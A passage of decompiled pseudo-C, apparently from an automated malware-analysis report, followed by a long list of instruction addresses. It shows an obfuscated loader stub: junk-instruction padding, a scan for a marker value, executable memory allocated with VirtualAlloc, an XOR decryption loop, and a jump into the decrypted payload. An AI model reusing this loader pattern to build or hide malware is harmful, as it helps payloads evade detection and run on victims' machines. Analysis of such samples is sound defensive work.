				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				_push(_t32 - 1);
				asm("pushad");
				asm("wait");
				asm("popad");
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				_t20 =  *0x00401000;
				0;
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				do {
					asm("wait");
					asm("wait");
					_t21 = _t20 - 1;
					asm("wait");
					asm("wait");
					_t20 = _t21;
				} while ( *_t21 != 0xdeac955f);
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				 *((intOrPtr*)(_t61 + 0x207)) =  *((intOrPtr*)(_t20 + 0x10cc));
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				 *(_t61 + 0x257) = 0x989680;
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				 *_t62 =  *_t62 - 0x13000;
				asm("wait");
				asm("wait"); // executed
				_t31 = VirtualAlloc(0x13000, 0x13000, 0x1000, 0x40); // executed
				asm("wait");
				asm("wait");
				_t60 =  *(_t61 + 0x257) ^  *(_t61 + 0x257) | 0x00411e10;
				asm("into");
				asm("adc [esi], bl");
				 *0xFFFFFFFF930D4EFA =  *0xFFFFFFFFB4F113E8 + 0x905a4d;
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				asm("wait");
				_t46 = (_t41 + 0x00000001 ^ 0x93824be3) - 0x11984245 ^ 0xffffffffb422504e;
				asm("wait");
				asm("wait");
				do {
					asm("wait");
					asm("wait");
					_t39 = 0;
					asm("wait");
					asm("wait");
					asm("wait");
					asm("wait");
					 *(_t31 + _t46) =  *(_t31 + _t46) ^ _t39 +  *((intOrPtr*)(_t60 + _t46));
					asm("wait");
					asm("wait");
					 *(_t31 + _t46) =  *(_t31 + _t46) ^ 0xebb3c59d;
					asm("wait");
					asm("wait");
					asm("wait");
					asm("wait");
					asm("wait");
					asm("wait");
					_t46 = _t46 - 0xfffffffffffffffe;
				} while (_t46 >= 0);
				asm("wait");
				goto __eax;
			}

0x00411002
0x00411003
0x00411005
0x00411006
0x00411008
0x00411009
0x0041100b
0x0041100c
0x0041100e
0x0041100f
0x00411011
0x00411012
0x00411014
0x00411015
0x00411017
0x00411018
0x0041101a
0x0041101b
0x0041101d
0x0041101e
0x00411020
0x00411021
0x00411023
0x00411024
0x00411026
0x00411027
0x00411029
0x0041102a
0x0041102c
0x0041102d
0x0041102f
0x00411030
0x00411032
0x00411033
0x00411035
0x00411036
0x00411038
0x00411039
0x0041103b
0x0041103c
0x0041103e
0x0041103f
0x00411041
0x00411042
0x00411044
0x00411045
0x00411047
0x00411048
0x0041104a
0x0041104b
0x0041104d
0x0041104e
0x00411050
0x00411051
0x00411053
0x00411054
0x00411056
0x00411057
0x00411059
0x0041105a
0x0041105c
0x0041105d
0x0041105f
0x00411060
0x00411062
0x00411063
0x00411065
0x00411066
0x00411068
0x00411069
0x0041106b
0x0041106c
0x0041106e
0x0041106f
0x00411071
0x00411072
0x00411074
0x00411075
0x00411077
0x00411078
0x0041107a
0x0041107b
0x0041107d
0x0041107e
0x00411080
0x00411081
0x00411083
0x00411084
0x00411086
0x00411087
0x00411089
0x0041108a
0x0041108c
0x0041108d
0x0041108f
0x00411090
0x00411092
0x00411093
0x00411095
0x00411096
0x00411098
0x00411099
0x0041109b
0x0041109c
0x0041109e
0x0041109f
0x004110a1
0x004110a2
0x004110a4
0x004110a5
0x004110a7
0x004110a8
0x004110aa
0x004110ab
0x004110ad
0x004110ae
0x004110b0
0x004110b1
0x004110b3
0x004110b4
0x004110b6
0x004110b7
0x004110b9
0x004110ba
0x004110bc
0x004110bd
0x004110bf
0x004110c0
0x004110c2
0x004110c3
0x004110c5
0x004110c6
0x004110c8
0x004110c9
0x004110cb
0x004110cc
0x004110ce
0x004110cf
0x004110d1
0x004110d2
0x004110d4
0x004110d5
0x004110d7
0x004110d8
0x004110da
0x004110db
0x004110dd
0x004110de
0x004110e0
0x004110e1
0x004110e3
0x004110e4
0x004110e6
0x004110e7
0x004110e9
0x004110ea
0x004110ec
0x004110ed
0x004110ef
0x004110f0
0x004110f2
0x004110f3
0x004110f5
0x004110f6
0x004110f8
0x004110f9
0x004110fb
0x004110fc
0x004110fe
0x004110ff
0x00411101
0x00411102
0x00411104
0x00411105
0x00411107
0x00411108
0x0041110a
0x0041110b
0x0041110d
0x0041110e
0x00411110
0x00411111
0x00411113
0x00411114
0x00411116
0x00411117
0x00411119
0x0041111a
0x0041111c
0x0041111d
0x0041111f
0x00411120
0x00411122
0x00411123
0x00411125
0x00411126
0x00411128
0x00411129
0x0041112b
0x0041112c
0x0041112e
0x0041112f
0x00411131
0x00411132
0x00411134
0x00411135
0x00411137
0x00411138
0x0041113a
0x0041113b
0x0041113d
0x0041113e
0x00411140
0x00411141
0x00411143
0x00411144
0x00411146
0x00411147
0x00411149
0x0041114a
0x0041114c
0x0041114d
0x0041114f
0x00411150
0x00411152
0x00411153
0x00411155
0x00411156
0x00411158
0x00411159
0x0041115b
0x0041115c
0x0041115e
0x0041115f
0x00411161
0x00411162
0x00411164
0x00411165
0x00411167
0x00411168
0x0041116a
0x0041116b
0x0041116d
0x0041116e
0x00411170
0x00411171
0x00411173
0x00411174
0x00411176
0x00411177
0x00411179
0x0041117a
0x0041117c
0x0041117d
0x0041117f
0x00411180
0x00411182
0x00411183
0x00411185
0x00411186
0x00411188
0x00411189
0x0041118b
0x0041118c
0x0041118e
0x0041118f
0x00411191
0x00411192
0x00411194
0x00411195
0x00411197
0x00411198
0x0041119a
0x0041119b
0x0041119d
0x0041119e
0x004111a0
0x004111a1
0x004111a3
0x004111a4
0x004111a6
0x004111a7
0x004111a9
0x004111aa
0x004111ac
0x004111ad
0x004111af
0x004111b0
0x004111b2
0x004111b3
0x004111b5
0x004111b6
0x004111b8
0x004111b9
0x004111bb
0x004111bc
0x004111be
0x004111bf
0x004111c1
0x004111c2
0x004111c4
0x004111c5
0x004111c7
0x004111c8
0x004111ca
0x004111cb
0x004111cd
0x004111ce
0x004111d0
0x004111d1
0x004111d3
0x004111d4
0x004111d6
0x004111d7
0x004111d9
0x004111da
0x004111dc
0x004111dd
0x004111df
0x004111e0
